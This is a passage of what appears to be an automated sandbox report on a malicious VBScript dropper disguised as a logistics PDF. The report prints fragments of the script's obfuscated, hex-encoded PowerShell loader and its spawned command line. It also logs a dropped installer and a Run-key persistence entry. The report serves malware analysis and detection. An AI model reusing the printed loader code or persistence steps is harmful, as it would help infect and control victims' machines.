'87A3A9B8A5B9A5ACBEE49DA3A4F9F8E49FA4B9ABACAF84ABBEA3BCAF87AFBEA2A5AEB9';$Isnadi2=kontaktann11 '8DAFBE9AB8A5A98BAEAEB8AFB9B9';$Isnadi3=kontaktann11 '99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC';$Isnadi4=kontaktann11 'B9BEB8A3A4AD';$Isnadi5=kontaktann11 '8DAFBE87A5AEBFA6AF82ABA4AEA6AF';$Isnadi6=kontaktann11 '989E99BAAFA9A3ABA684ABA7AFE6EA82A3AEAF88B399A3ADE6EA9ABFA8A6A3A9';$Isnadi7=kontaktann11 '98BFA4BEA3A7AFE6EA87ABA4ABADAFAE';$Isnadi8=kontaktann11 '98AFACA6AFA9BEAFAE8EAFA6AFADABBEAF';$Isnadi9=kontaktann11 '83A487AFA7A5B8B387A5AEBFA6AF';$Unde0=kontaktann11 '87B38EAFA6AFADABBEAF9EB3BAAF';$Unde1=kontaktann11 '89A6ABB9B9E6EA9ABFA8A6A3A9E6EA99AFABA6AFAEE6EA8BA4B9A389A6ABB9B9E6EA8BBFBEA589A6ABB9B9';$Unde2=kontaktann11 '83A4BCA5A1AF';$Unde3=kontaktann11 '9ABFA8A6A3A9E6EA82A3AEAF88B399A3ADE6EA84AFBD99A6A5BEE6EA9CA3B8BEBFABA6';$Unde4=kontaktann11 '9CA3B8BEBFABA68BA6A6A5A9';$Unde5=kontaktann11 'A4BEAEA6A6';$Unde6=kontaktann11 '84BE9AB8A5BEAFA9BE9CA3B8BEBFABA687AFA7A5B8B3';$Unde7=kontaktann11 '838F92';$Unde8=kontaktann11 '96';$Sladrem21=kontaktann11 '9F998F98F9F8';$Pedologic23=kontaktann11 '89ABA6A69DA3A4AEA5BD9AB8A5A98B';function fkp {Param ($Unsu, $Henvend) ;$Goldbrick0 =kontaktann11 'EE86B9AFA2ABB9BEA3ADA2EAF7EAE2918BBABA8EA5A7ABA3A497F0F089BFB8B8AFA4BE8EA5A7ABA3A4E48DAFBE8BB9B9AFA7A8A6A3AFB9E2E3EAB6EA9DA2AFB8AFE785A8A0AFA9BEEAB1EAEE95E48DA6A5A8ABA68BB9B9AFA7A8A6B389ABA9A2AFEAE78BA4AEEAEE95E486A5A9ABBEA3A5A4E499BAA6A3BEE2EE9FA4AEAFF2E391E7FB97E48FBBBFABA6B9E2EE83B9A4ABAEA3FAE3EAB7E3E48DAFBE9EB3BAAFE2EE83B9A4ABAEA3FBE3';.($Unde7) $Goldbrick0;$Goldbrick5 = kontaktann11 'EE99BAA3A6AEA3A4AEB9EAF7EAEE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3F8E6EA919EB3BAAF919797EA8AE2EE83B9A4ABAEA3F9E6EAEE83B9A4ABAEA3FEE3E3';.($Unde7) $Goldbrick5;$Goldbrick1 = kontaktann11 'B8AFBEBFB8A4EAEE99BAA3A6AEA3A4AEB9E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE29199B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFAC97E284AFBDE785A8A0AFA9BEEA99B3B9BEAFA7E498BFA4BEA3A7AFE483A4BEAFB8A5BA99AFB8BCA3A9AFB9E482ABA4AEA6AF98AFACE2E284AFBDE785A8A0AFA9BEEA83A4BE9ABEB8E3E6EAE2EE86B9AFA2ABB9BEA3ADA2E48DAFBE87AFBEA2A5AEE2EE83B9A4ABAEA3FFE3E3E483A4BCA5A1AFE2EEA4BFA6A6E6EA8AE2EE9FA4B9BFE3E3E3E3E6EAEE82AFA4BCAFA4AEE3E3';.($Unde7) $Goldbrick1;}function GDT {P	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe "C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

File created: C:\Users\user\AppData\LocalLow\Intel\ShaderCache\da194f1ae3fae6c3dec55caeb90c7b89603ca77ab2757c94f6f1aaaf79793726

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbwljbj0.2hm.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winVBS@16/6@2/2

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\baa929dcdedff7e4c150adeda3f53b6a\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10952:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\CryptoTab Browser Updater
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10764:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1736:120:WilError_03
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-OO9THI
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1736:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10952:120:WilError_03

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\russelllogistics_PDF98933 laced 2023-06-06 .vbs"

Source: CTBrowserSetup.exe	String found in binary or memory: /api/v1/install
Source: CTBrowserSetup.exe	String found in binary or memory: /api/v1/install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: russelllogistics_PDF98933 laced 2023-06-06 .vbs

Static file information: File size 1242886 > 1048576

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: ShellExecute("poweRSHELL.EXE", ""$Loftma = """ FAuJn cPtGi oEnh k oUnS", "Unsupported parameter type 00000000", "Unsupported parameter type 00000000", "0")

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Code function: 34_2_00A704D0 push ecx; ret

34_2_00A704E3

Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Code function: 31_2_00FBD8A0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

31_2_00FBD8A0

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

File created: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe

Jump to dropped file

Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run klodern			Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run klodern			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CTBrowserSetup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
